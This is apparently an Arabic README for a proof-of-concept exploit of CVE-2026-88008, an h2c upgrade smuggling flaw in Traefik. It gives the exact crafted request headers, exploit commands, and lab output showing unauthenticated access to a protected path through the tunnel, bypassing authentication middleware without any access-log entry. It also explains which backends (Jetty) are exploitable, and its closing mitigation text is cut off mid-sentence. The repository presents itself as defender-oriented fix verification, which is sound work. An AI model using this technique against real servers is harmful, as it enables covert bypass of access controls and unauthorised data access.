إثبات مفهوم بلغة Python يعتمد على المكتبة القياسية فقط لـ CVE-2026-88008: يستغل تمرير ترقية h2c في Traefik للنفق عبر الموجّهات ووسيط المصادقة، مع مختبر Jetty h2c للتحقق من الإصلاح.
المتأثر: Traefik 2.11.26 → 2.11.56 و 3.7.0 → 3.7.12
تم الإصلاح: 2.11.57 / 3.7.13 — commit a277e946 "Do not forward h2c upgrade headers to the backend"
الاستشارة: GHSA-w4v4-9rw7-5326 · CVSS 9.1
التصنيف: CWE-444 (تهريب الطلبات / التفسير غير المتسق) + CWE-863 (تفويض غير صحيح)
يعيد الوكيل العكسي HTTP في Traefik إضافة زوج Connection: Upgrade /
Upgrade: h2c الخاص بالعميل أثناء التمرير، ويمرّر ترويسة HTTP2-Settings
أيضًا. فالنظام الأعلى الذي يطبّق مصافحة ترقية h2c وفق RFC 7540 §3.2 يردّ بـ
101 Switching Protocols؛ عندها ينتقل httputil.ReverseProxy في Go إلى نفق
بايتات خام. كل ما يأتي بعد ذلك على الاتصال هو HTTP/2 مباشرة إلى الخادم الخلفي:
فلا يُستشار موجّهات Traefik ولا برمجياتها الوسيطة (BasicAuth، ForwardAuth،
IPAllowList، RateLimit) أبدًا، كما لا تُسجَّل حركة المرور في سجلات الوصول ولا
تُقاس ولا تُتتبَّع.
شكل الطلب الذي يجعل Traefik يمرّر الأجزاء الثلاثة جميعها:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
يجب أن يبقى HTTP2-Settings خارج قائمة رموز Connection، لأن الوكيل العكسي في Go يحذف كل ترويسة مذكورة في Connection قبل التمرير — فإدراجها هناك يزيل ترويسة الإعدادات ويرفض الخادم الأعلى الترقية. أما تسمية Upgrade وحدها فتُبقي الترويسة حيّة بينما يعيد Go إضافة الزوج Connection: Upgrade / Upgrade: h2c. وقد قيس ذلك على الوكيل الفعلي:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
الإصلاح (pkg/server/service/upgrade.go) يغلّف الوكيل العكسي في
h2cUpgradeHandler الذي يحذف Upgrade (عندما يحمل Connection رمز
Upgrade وتكون القيمة h2c) ويحذف Http2-Settings دائمًا.
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
يعتمد PoC على المكتبة القياسية فقط، ويفتح الترقية على مسار غير محمي، وبمجرد أن يبدأ النفق — يتحدث HTTP/2 (إطارات خام، HPACK بأدنى حد) لجلب المسار المحمي بالبرمجية الوسيطة دون أي بيانات اعتماد. التدفق 1 من اتصال HTTP/2 الجديد هو طلب الترقية المُعاد تشغيله (RFC 7540 §3.2)؛ يستنزف PoC هذا التدفق ثم يرسل طلبه الخاص كتدفق 3.
المختبر: حاويات traefik:v3.7.12 وtraefik:v3.7.13 حقيقية، وخادم Jetty 12
أصلي مع HTTP/2 نصي صريح (--add-modules=http2c) يقدّم مستندًا يحميه
برمجية وسيطة basicAuth. الوصفة: lab/README.md.
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
سجل الوصول الخاص بـ Traefik في التشغيل المعرّض يُظهر سطح التهريب: يُسجَّل طلب الترقية بحالة مختطفة (0)، والمستند المحمي الذي جلبه النفق لا يملك أي إدخال على الإطلاق — التجاوز غير مرئي لسجلات الوصول:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
يتطلب تجاوز الحماية منبعًا يقبل ترقية h2c كما تمررها Traefik، أي مع Connection: Upgrade وUpgrade: h2c وترويسة HTTP2-Settings ولكن دون اشتراط رمز HTTP2-Settings داخل Connection.
تم التحقق من قبول:
http2c (يكفي UPGRADE: h2c + ترويسة الإعدادات) — هذا هو المنبع المستخدم في المختبر.تم التحقق من الرفض (فهي تشترط إضافةً إلى ذلك قائمة الرموز الصارمة وفق RFC Connection: Upgrade, HTTP2-Settings، وهو ما لا تستطيع Traefik تقديمه لأن الوكيل العكسي في Go يزيل الترويسات المذكورة في Connection):
mod_http2 — يسجّل AH03086: upgrade without HTTP2-Settings declinedgolang.org/x/net/http2/h2c في Go — تشترط دالته isH2CUpgrade() وجود رمز HTTP2-Settings في Connectionلذا فإن مجموعة الضحايا القابلة للوصول هي المنابع ذات فحص ترقية h2c المتساهل (خدمات Java على Jetty هي الحالة الشائعة)، وليس كل خادم خلفي. أما الخلل في جانب الوكيل وحدود الإصلاح فهما غير مشروطين، ولهذا أصدرت الجهة المصنّعة الإصلاح.
Upgrade: h2c إليها) وعطّل دعم ترقية h2c في المنابع (Protocols http/1.1 في Apache، وعدم وجود وحدة http2c في Jetty) — فالعلامة نفسها تُبطل أيضًا التنبيهات الشقيقة في هذه العائلة (تجاوز digestAuth في CVE-2026-85595، وعدم تزامن CONNECT في CVE-2026-71324).CVE عام مع إصلاح عام من الجهة المصنّعة؛ هذا المستودع إعادة إنتاج مستقلة للمدافعين وللتحقق من حدود الإصلاح.